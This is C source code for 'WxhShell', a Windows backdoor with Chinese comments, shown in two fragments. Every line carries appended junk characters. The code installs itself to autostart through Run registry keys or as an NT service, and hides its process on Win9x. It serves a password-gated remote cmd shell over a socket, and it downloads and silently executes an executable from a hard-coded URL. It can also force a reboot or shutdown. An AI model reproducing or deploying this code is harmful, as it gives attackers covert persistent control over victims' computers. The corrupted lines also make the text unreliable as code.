    if(Boot(SHUTDOWN)) }<h. chz,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /P"\ +Qp  
    else { Ib8{+j  
    closesocket(wsh); khIa9Nm  
    ExitThread(0); ViT 5Jn7  
    } >@Vr'kg+V  
    break; 2\tjeg  
    } htrj3$q(4  
  // 获取shell 6SO7iFS  
  case 's': { 6%INNIyAWa  
    CmdShell(wsh); +* {5ORq=  
    closesocket(wsh); +mOtYf W  
    ExitThread(0); [IBk-opap  
    break; KL"L65g&  
  } GiwA$^Hg\  
  // 退出 _1c_TMh}9  
  case 'x': { V"jnrNs3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s'Q^1oQM2h  
    CloseIt(wsh); l'%R^  
    break; z ;Nk& <?  
    } R./6Q1  
  // 离开 {1DYXKe  
  case 'q': { jF_I4H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ",V5*1w  
    closesocket(wsh); &E`Z_} ~  
    WSACleanup(); ~WXxVm*@  
    exit(1); }V;]c~Q/H  
    break; K.1yncS^  
        } X )s7_  
  } s;WCz  
  } 8vW`E_n  
,6Q-k4_  
  // 提示信息 :Rj,'uH+h)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n1(X%%2  
} N4jLbnA  
  } T@Z{KV"S  
v nC&1  
  return; QXj(U&#rp  
} S5a<L_  
qDd/wR,44  
// shell模块句柄 /mu4J|[[  
int CmdShell(SOCKET sock) E2kRt'~N  
{ G@!9)v]9  
STARTUPINFO si; hP<qKVy  
ZeroMemory(&si,sizeof(si)); Q 9<_:3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >D62l*VC)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1tz .e\  
PROCESS_INFORMATION ProcessInfo; 1u+ (rVQN  
char cmdline[]="cmd"; fGWK&nONyk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T["(YFCByg  
  return 0; P[8N58#  
} nn%xN\~<  
Y{tuaBzD  
// 自身启动模式 /y|r iW  
int StartFromService(void) ~GYtU9s5  
{ 53 05N!  
typedef struct C P{h+yCj  
{ 4:g:$s|SE[  
  DWORD ExitStatus; %]oLEmn}y  
  DWORD PebBaseAddress; gj X1b2  
  DWORD AffinityMask; 5K~6`  
  DWORD BasePriority; lIP<`6=4  
  ULONG UniqueProcessId; IuW10}"9  
  ULONG InheritedFromUniqueProcessId; (SA*9%  
}   PROCESS_BASIC_INFORMATION; L]<4{8H.  
TJ:Lz]l >  
PROCNTQSIP NtQueryInformationProcess; {hR2NUm  
lXKZNCL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $7d"9s\$"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /z:K#  
kq0m^`  
  HANDLE             hProcess; %WN2 xCSf  
  PROCESS_BASIC_INFORMATION pbi; !;Nh7vG  
7*"LW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qG]PUc>j  
  if(NULL == hInst ) return 0; ^T,cXpx|  
IyP].g1"U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nTKfwIeg5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NLY5L7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G)7sXEe  
q /?_djv  
  if (!NtQueryInformationProcess) return 0; musxX58%  
Zh^w)}(W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  64fG,b  
  if(!hProcess) return 0; Kjw\SQ)2~  
>O~5s.1u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nVzo=+Yp  
 V}qmH2h  
  CloseHandle(hProcess); Dm#k-y  
p#2th`M:P1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z- (HDn  
if(hProcess==NULL) return 0; sKO ;p  
)zo ;r!eP  
HMODULE hMod; '%N)(S`O7P  
char procName[255]; KL4/"$l]  
unsigned long cbNeeded; Q@n kT1o  
"g-NUl`'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T 1=M6iJ  
:TI1tJS~*  
  CloseHandle(hProcess); *cIXae^Y7  
+)S X  
if(strstr(procName,"services")) return 1; // 以服务启动 z, [ +  
{A UEVt  
  return 0; // 注册表启动 >qA&;M  
} SZvsJ)  
[_n|n"M  
// 主模块 G2D<LRWt4  
int StartWxhshell(LPSTR lpCmdLine) $ cSZX#\  
{ (.o'1 '  
  SOCKET wsl; W(YJz#]6_  
BOOL val=TRUE; "#jKk6{I0  
  int port=0; N=9lA0y+  
  struct sockaddr_in door; Cq~Ir*"  
kZQ;\QL1}  
  if(wscfg.ws_autoins) Install(); @HI5; z  
}R$%MU5::  
port=atoi(lpCmdLine); plfB} p  
I2'?~Lt  
if(port<=0) port=wscfg.ws_port; $hio (   
mz1g8M`@[D  
  WSADATA data; x]Ef}g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `2B+8,{%  
Bx F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dp_q:P4; B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A_%w (7o"  
  door.sin_family = AF_INET; "Q1hP9xV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s3J$+1M >  
  door.sin_port = htons(port); vaL-Mi(_  
z@~rm9d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 14RL++  
closesocket(wsl); pjFgIG2=9  
return 1; B|v fkX2f  
} n :P}K?lg  
?3#X5WT  
  if(listen(wsl,2) == INVALID_SOCKET) { srL,9)O C  
closesocket(wsl); YSbN=Rj  
return 1; yFG&Ir  
} <FE O6YP  
  Wxhshell(wsl); 71_N9ub@z  
  WSACleanup(); q9Q4F  
Q"O _h  
return 0; A\`Uu&  
G1rgp>m  
} dkjL;1  
Jp- hFD  
// 以NT服务方式启动 \Z8!iruN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \B)<<[ $  
{ 6]VTn-  
DWORD   status = 0; iYnt:C  
  DWORD   specificError = 0xfffffff; x>cu<,e$d\  
k4v[2y`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ',f[y:v;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U|=y&a2Rb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #u_-TWVt  
  serviceStatus.dwWin32ExitCode     = 0; h(BN6ZrzKd  
  serviceStatus.dwServiceSpecificExitCode = 0; aC*J=_9o #  
  serviceStatus.dwCheckPoint       = 0; n" sGI  
  serviceStatus.dwWaitHint       = 0; <d4^gAfs*  
",a fv{C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PyYe>a;.  
  if (hServiceStatusHandle==0) return; @y+Wl*:  
qcqf9g  
status = GetLastError(); v!2`hq O  
  if (status!=NO_ERROR) "2mVW_k  
{ F>OYZOC]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7DD ot_qb  
    serviceStatus.dwCheckPoint       = 0; kDsUKO p  
    serviceStatus.dwWaitHint       = 0; #]rw@c  
    serviceStatus.dwWin32ExitCode     = status; Ab`Gb  
    serviceStatus.dwServiceSpecificExitCode = specificError; j.o)!S A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9E5B.qlw$l  
    return; FE`J.aw^X  
  } XZhhr1-<a  
uJQeZEe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HO"(eDW6z  
  serviceStatus.dwCheckPoint       = 0; %uKD cj  
  serviceStatus.dwWaitHint       = 0; <T['J]k%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ks4TBi&J   
} nN[,$`JD,  
[yz;OoA:;  
// 处理NT服务事件,比如:启动、停止 m9/a!|fBE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a.P^+h  
{ N'4*L=Ut  
switch(fdwControl) SLW1]ZaG  
{ F)C8LH  
case SERVICE_CONTROL_STOP: gN*8 zui  
  serviceStatus.dwWin32ExitCode = 0; g& {YHq^+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {z w#My   
  serviceStatus.dwCheckPoint   = 0; gCmGFQE-f  
  serviceStatus.dwWaitHint     = 0; =3FXU{"Qi4  
  { \-^3Pe,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OA+W$  
  } d/e9LK  
  return; 7{6wNc  
case SERVICE_CONTROL_PAUSE: fy-( B;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; epQ7@9,Q  
  break; qFay]V(O|  
case SERVICE_CONTROL_CONTINUE: &kP>qTI^p~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  M`bK   
  break; Q,>AT$|  
case SERVICE_CONTROL_INTERROGATE: mWZV O,t$  
  break;  A/9 wr  
}; hSxf;>(d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nv|&|6?`oK  
} #]9yzyb_y  
.NjOaK)\  
// 标准应用程序主函数  '{),gV.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xs4`bbap  
{ !+i  
{9(N?\S1`a  
// 获取操作系统版本 o^Ms(?K%t  
OsIsNt=GetOsVer(); 44!bwXz8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E]bjI$j  
>scEdeM  
  // 从命令行安装 tYnNOK*|  
  if(strpbrk(lpCmdLine,"iI")) Install(); xSw ^v6!2  
Ax&+UxQ0|  
  // 下载执行文件 ~#wq sm  
if(wscfg.ws_downexe) { $N~8 ^6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )F:hv[iv  
  WinExec(wscfg.ws_filenam,SW_HIDE); g1Aq;Ah/  
} `Do-!G+W  
<MoWS9s!yb  
if(!OsIsNt) { |',Gy\Sj  
// 如果时win9x,隐藏进程并且设置为注册表启动 B7cXbUAQs  
HideProc(); By" =]|Q  
StartWxhshell(lpCmdLine); }_K7}] 1  
} JD.WH|sZ5  
else ?>2k>~xlQ  
  if(StartFromService()) hW(Mf  
  // 以服务方式启动 m!g f!  
  StartServiceCtrlDispatcher(DispatchTable); lOql(ZH`w  
else Y6+nfh_  
  // 普通方式启动 hS<+=3 <M  
  StartWxhshell(lpCmdLine); %|UCs8EFm  
(R{W Jjj  
return 0; )nQ.6  
} cO' \s  
fxjs"rD5  
%{axoGd  
WUKYwA/t  
=========================================== ri6_u;Ch  
TeQpmhN  
geua8;  
^MuO;<<,.  
H.*XoktC]  
_E3*;  
" *U8Pjb1  
(,[Oy6o  
#include <stdio.h> sk 9*3d5I  
#include <string.h> LEG y1L  
#include <windows.h> p"w"/[8  
#include <winsock2.h> YeT[KjX  
#include <winsvc.h> phd,Jg[  
#include <urlmon.h> 5EM(3eY^q  
s~,Ypo?  
#pragma comment (lib, "Ws2_32.lib") K%.\@l2Cp  
#pragma comment (lib, "urlmon.lib") ]JbGP{UiN  
9%pq+?u9  
#define MAX_USER   100 // 最大客户端连接数 tQF,E&Jo8  
#define BUF_SOCK   200 // sock buffer }PD? x4  
#define KEY_BUFF   255 // 输入 buffer h>9GfF3  
}5\F<b^@Y  
#define REBOOT     0   // 重启 (z#qkKL{^  
#define SHUTDOWN   1   // 关机 y^?7de}  
Z%k)'%_   
#define DEF_PORT   5000 // 监听端口 \IIR2Xf,K  
I!~5.  
#define REG_LEN     16   // 注册表键长度 '`I&g8I\  
#define SVC_LEN     80   // NT服务名长度 -b8Vz}Y  
ckS.j)@.c  
// 从dll定义API ;mu^WIj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V^[o{'+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hIE$ut +  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oIN!3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \}Z5}~S  
IZ/+ROn  
// wxhshell配置信息  [td)v,  
struct WSCFG { -)PQ&[  
  int ws_port;         // 监听端口 h@&& .S`B  
  char ws_passstr[REG_LEN]; // 口令 h${+{1](6  
  int ws_autoins;       // 安装标记, 1=yes 0=no f.4r'^  
  char ws_regname[REG_LEN]; // 注册表键名 2Gd.B/L6  
  char ws_svcname[REG_LEN]; // 服务名 L TzD\C'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vWc=^tT   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )l~:P uvh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "8>T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kZfa8w L]P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A}W) La\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VyK[*k yN  
]yy10Pk[!  
}; gs7h`5[es  
x\T 9V~8a  
// default Wxhshell configuration jhl9  
struct WSCFG wscfg={DEF_PORT, OrNi<TY>  
    "xuhuanlingzhe", ~bC{ R&p  
    1, Yi1lvB?m  
    "Wxhshell", ]3nka$wA*  
    "Wxhshell", .5 Sw  
            "WxhShell Service", tNj-~r  
    "Wrsky Windows CmdShell Service", mII7p LbQ  
    "Please Input Your Password: ", ..'k+0u^  
  1, cks53/Z  
  "http://www.wrsky.com/wxhshell.exe", -^yb[b,  
  "Wxhshell.exe" ya.!zGH  
    }; *mwHuGbZed  
d e)7_pCF|  
// 消息定义模块 K Rs e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [uqe|< :  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q8OA{EUtq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l];w,(u{  
char *msg_ws_ext="\n\rExit."; q$x$ 4  
char *msg_ws_end="\n\rQuit."; d^p af  
char *msg_ws_boot="\n\rReboot..."; %&w 8E[  
char *msg_ws_poff="\n\rShutdown..."; [$:M/5y9  
char *msg_ws_down="\n\rSave to "; Ws$<B b  
7L)edR [  
char *msg_ws_err="\n\rErr!"; Oh)s"f\N  
char *msg_ws_ok="\n\rOK!"; Jas=D  
YW9r'{(D(I  
char ExeFile[MAX_PATH]; 5P'o+Vwz  
int nUser = 0; q% *-4GP  
HANDLE handles[MAX_USER]; >ka*-8?  
int OsIsNt; ~QzUQYG*  
nK[T.?Nz  
SERVICE_STATUS       serviceStatus; PxE0b0eo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >v--R8I*  
$v5)d J  
// 函数声明 @/jLN  
int Install(void); nIc:<w]  
int Uninstall(void); ~0/tU#&  
int DownloadFile(char *sURL, SOCKET wsh); jT/}5\  
int Boot(int flag); }(tuBJ9  
void HideProc(void); nwSujD  
int GetOsVer(void); $$'a  
int Wxhshell(SOCKET wsl); nz_=]PHO&  
void TalkWithClient(void *cs); 3>vSKh1z  
int CmdShell(SOCKET sock); {P/ sxh:e  
int StartFromService(void); V;}kgWc1  
int StartWxhshell(LPSTR lpCmdLine); V}=%/OY?  
T .#cd1b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k_ d)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f 0"N  
LelCjC{`1  
// 数据结构和表定义 b~$B 0o)  
SERVICE_TABLE_ENTRY DispatchTable[] = $r>$ u  
{ 0 ]K\G55  
{wscfg.ws_svcname, NTServiceMain}, "$P|!k45(  
{NULL, NULL} gbf2ty  
}; ,yPs4',d  
Z!#n55 |  
// 自我安装 zt,Tda4Y  
int Install(void) %*:X FB  
{ tFj[>_d7  
  char svExeFile[MAX_PATH]; (p6$Vgdt  
  HKEY key; [k<"@[8)  
  strcpy(svExeFile,ExeFile); V/N:Of:\R  
lSW6\jX  
// 如果是win9x系统,修改注册表设为自启动 F"I{_yleq'  
if(!OsIsNt) { -O&u;kh4g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '2LK(uaU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 $Ygt0d  
  RegCloseKey(key); "p Rr>Fa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `3wzOMgJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t?&@bs5~g  
  RegCloseKey(key); ?so=k&I-M  
  return 0; l  rRRRR  
    } g<b(q|  
  } [-Xz:  
} _Fc :<Ym?  
else { =@ SJyW  
8)KA {gN}  
// 如果是NT以上系统,安装为系统服务 BIJlU(aF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3$ 'eDa[  
if (schSCManager!=0)  <xn96|$  
{ 8,VX%CS#q  
  SC_HANDLE schService = CreateService xJcM1>cT>  
  ( yiT)m]E d  
  schSCManager, TK! D=M  
  wscfg.ws_svcname, -=;V*;  
  wscfg.ws_svcdisp, _R/^P>Q?  
  SERVICE_ALL_ACCESS, D6Q6yNE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5>S=f{ghFw  
  SERVICE_AUTO_START, |M;tAG$,"y  
  SERVICE_ERROR_NORMAL, 6x]x>:8  
  svExeFile, An.Qi=Cv  
  NULL, 6_rgj{L  
  NULL, cu |S|]g  
  NULL, YZ0y_it)  
  NULL, \Ei(HmEU  
  NULL bY@ S[  
  ); ;~^9$Z@%Q  
  if (schService!=0) BI|BfO%F$j  
  { 1K&_t  
  CloseServiceHandle(schService); N'5AU (  
  CloseServiceHandle(schSCManager); @gc|Z]CV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G d%X> ~  
  strcat(svExeFile,wscfg.ws_svcname); B)L=)N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 31cC*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F ]qX}  
  RegCloseKey(key); #&$a7L}  
  return 0; B8G9V6KS-  
    } e6 &-f  
  }  sJ3O ]  
  CloseServiceHandle(schSCManager); xPcH]Gs^b  
} J$+K't5BZ  
} W]TO%x{  
FS+v YqwK  
return 1; ",O}{z  
} p?Rq  
n1E^8[~'  
// 自我卸载 r.~^h^c]  
int Uninstall(void) L/+KY_b:*  
{ s7 K](T4  
  HKEY key; q8=hUD%5C  
q@@C|oqEX  
if(!OsIsNt) { P}2waJe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *LA2@9l  
  RegDeleteValue(key,wscfg.ws_regname); 'F .tOD  
  RegCloseKey(key); @lO(QpdG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <H]1 6  
  RegDeleteValue(key,wscfg.ws_regname); l)P~#G+C  
  RegCloseKey(key); +`(,1L1  
  return 0; $qp,7RW  
  } ;,&$ob*/  
} `A0trC3  
} HLruZyN4  
else { I_aS C4  
gX'nFGqud  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5 0KB:1(g  
if (schSCManager!=0) OS{j5o  
{ &pk&8_=f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4k6,pt"  
  if (schService!=0) =X24C'!Mpe  
  { cs\/6gSCo  
  if(DeleteService(schService)!=0) { FV];od&c  
  CloseServiceHandle(schService); F Cp\w1+  
  CloseServiceHandle(schSCManager); wJ}9(>id*  
  return 0; m Bc2x8g)  
  } dH[TnqJn  
  CloseServiceHandle(schService); B098/`r  
  } %fzZpd]v=,  
  CloseServiceHandle(schSCManager); D,( "3zx  
} s0/[mAY  
} Wf>P[6  
O\z]1`i*o  
return 1; wU $j/~L  
} "4Bk  
\~4IOu  
// 从指定url下载文件 +#wh`9[wBt  
int DownloadFile(char *sURL, SOCKET wsh) $p?TE8G  
{ 24; BY'   
  HRESULT hr; gQ8FjL6?  
char seps[]= "/"; 4r+s" |  
char *token; &X%vp?p  
char *file; E4;@P']`  
char myURL[MAX_PATH]; :,~]R,tJQ  
char myFILE[MAX_PATH]; 7wA.:$  
5;4bZ3e,0  
strcpy(myURL,sURL); O)EA2`)E  
  token=strtok(myURL,seps); Ug~ ]!L  
  while(token!=NULL) m,1Hlp  
  { W6 y-~  
    file=token; um}%<Cy[  
  token=strtok(NULL,seps); Z<ABK`rEO  
  } R>#BJ^>=  
'^# =,+ A  
GetCurrentDirectory(MAX_PATH,myFILE); 65g"$:0  
strcat(myFILE, "\\"); 7#G8qh<  
strcat(myFILE, file); EsK.g/d  
  send(wsh,myFILE,strlen(myFILE),0); tpQ?E<O  
send(wsh,"...",3,0); 9`8D Ga  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R32A2Ml  
  if(hr==S_OK) KN\*|)  
return 0; NJqjW  
else 4IUdlb  
return 1; Zk .V   
+Dwq>3AH  
} 8gK  <xp  
B*c@w~E  
// 系统电源模块 BJ,D1E  
int Boot(int flag) I%#&@  
{ y2=`NG=  
  HANDLE hToken; s(u,mtG  
  TOKEN_PRIVILEGES tkp; !STa}wl  
%jc"s\  
  if(OsIsNt) { ROWrkJI>i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k&M9Hn2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _=*ph0nu  
    tkp.PrivilegeCount = 1; O_bgrXg6x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Dqz9NB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *F)+- BB  
if(flag==REBOOT) { ]@G$ L,3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 552U~t  
  return 0; vk>EFm8l  
} =j&qat  
else { D$&LCW#x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /jB 0  
  return 0; >r8$vQGj  
} -]$=.0 l  
  } S9@2-Oc  
  else { 6vL+qOdx  
if(flag==REBOOT) { CG397Y^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]\ DIJ>JZ  
  return 0; M>m+VsJV  
} NBaXfWh  
else { 7sglqf>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ao}J   
  return 0; X`' @ G  
} C(jUM!m  
} +@5@`"Jry  
T:?01?m  
return 1; FM=- ^l,  
} sQ05wAv  
A!bH0=<I  
// win9x进程隐藏模块 k'b'Ay(<  
void HideProc(void) TLWU7aj&!  
{ g71|t7Q  
16Gp nb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wB0K e  
  if ( hKernel != NULL ) l+n0=^ Z  
  { /tqQAvj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p*l]I *x'<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ph Ep3o&"  
    FreeLibrary(hKernel); p+7ZGB  
  } PYPDK*Ie  
UL<*z!y  
return; oy< q;'  
} }bM=)eUfX  
DI,8y"!5  
// 获取操作系统版本 !c#~g0H+  
int GetOsVer(void) A!n)Fpk  
{ S#g=;hD  
  OSVERSIONINFO winfo; g]a5%8*{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iF!r}fUU6  
  GetVersionEx(&winfo); x=jS=3$8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9 U!-Zn!  
  return 1; /~nPPC  
  else ?VaAVxd29  
  return 0; 8*[Q{:'.  
} l2 [{T^  
aH(B}wh{  
// 客户端句柄模块 ~P5;k_&  
int Wxhshell(SOCKET wsl) aNxq_pRb  
{ 5uxB)Dx)  
  SOCKET wsh; @Q#<-/  
  struct sockaddr_in client; ,'>,N/JA  
  DWORD myID; WiBO8N,%`  
pjaDtNb  
  while(nUser<MAX_USER) )cUFb:D*"  
{ >ngP\&\  
  int nSize=sizeof(client); {S 2? }  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KB6'sj  
  if(wsh==INVALID_SOCKET) return 1; s J~WzQ  
/QT"5fxKJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cZd{K[fuK  
if(handles[nUser]==0) /ltGSl  
  closesocket(wsh); G j9WUv[P  
else #G`UR  
  nUser++; W]l&mr  
  } ),53(=/hl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D @bnm s  
i *9Bu;  
  return 0; SZ)AO8&  
} ,]* MI"  
~wl 4  
// 关闭 socket NKJ+DD:'  
void CloseIt(SOCKET wsh) a ]~Yi.H  
{  p;k7\7  
closesocket(wsh); !T3b ]0z  
nUser--; |y}iOI  
ExitThread(0); $CgR~D2G  
} "pLWJvj6-  
)*tV  
// 客户端请求句柄 WD${f#]N  
void TalkWithClient(void *cs) hNWZ1r~_  
{ CpG]g>]L&[  
=MCQNyf+  
  SOCKET wsh=(SOCKET)cs; pjVF^gv,*  
  char pwd[SVC_LEN]; [n!5!/g>j  
  char cmd[KEY_BUFF]; XI"8d.VR  
char chr[1]; K[/sVaPZ  
int i,j; &]xOjv/?  
U`w `Cr  
  while (nUser < MAX_USER) { 6^vseVx  
Yj-JB  
if(wscfg.ws_passstr) { i=mk#.j~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  WPnw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ay-M.J  
  //ZeroMemory(pwd,KEY_BUFF); Rz\:)<G  
      i=0; 8a}et8df:  
  while(i<SVC_LEN) { )CAEqP  
THcK,`lX@  
  // 设置超时 sH_5.+,`  
  fd_set FdRead; Z&w/JP?  
  struct timeval TimeOut; ` <3xi9  
  FD_ZERO(&FdRead); g E#4 3  
  FD_SET(wsh,&FdRead); Sh(Ws2b7  
  TimeOut.tv_sec=8; 'L1=:g.\i  
  TimeOut.tv_usec=0; tITx+i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A.@/~\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yR|Beno  
Mb0l*'ZF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nz%{hMNYH  
  pwd=chr[0]; zUNWcv!& "  
  if(chr[0]==0xd || chr[0]==0xa) { l]wjH5mz=i  
  pwd=0; 2qQG  
  break; S.Rqu+  
  } S( nZ]QEG  
  i++;  +?I 1Og  
    } { t1|6R0  
dY6A)[dAH'  
  // 如果是非法用户,关闭 socket ^S]-7>Yyr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S>y(3E]I  
} #x^dR-@   
_pZaVx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F]L$xU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L UitY  
9PZY](/  
while(1) { M!Hn`_E  
Eh{]so  
  ZeroMemory(cmd,KEY_BUFF); dYP-QUM$7  
WBIJ9e2~  
      // 自动支持客户端 telnet标准   Rfuq(DwD6  
  j=0; Kx[u9MD  
  while(j<KEY_BUFF) { 93+p~?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gs?=yNL  
  cmd[j]=chr[0]; G5K_e:i  
  if(chr[0]==0xa || chr[0]==0xd) { _pM~v>~*+  
  cmd[j]=0; )08mG_&atL  
  break; bU+ z(Eg6  
  } 1_Ag:> #X  
  j++; U! xOJ  
    } nS`DI92I  
N=hhuKt]  
  // 下载文件 n@ rphJb  
  if(strstr(cmd,"http://")) { KTzkJx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |#x]FNg  
  if(DownloadFile(cmd,wsh)) \8 ~`NF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;uK">L[u'  
  else nGvWlx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g*uo2-MN&e  
  } GLIe8T*ht  
  else { H|]~(.w 1}  
X Nm%O  
    switch(cmd[0]) { V< ]l=JOd  
  M1sR+e$"  
  // 帮助 p~h)@  
  case '?': { ={GYJ. *Ah  
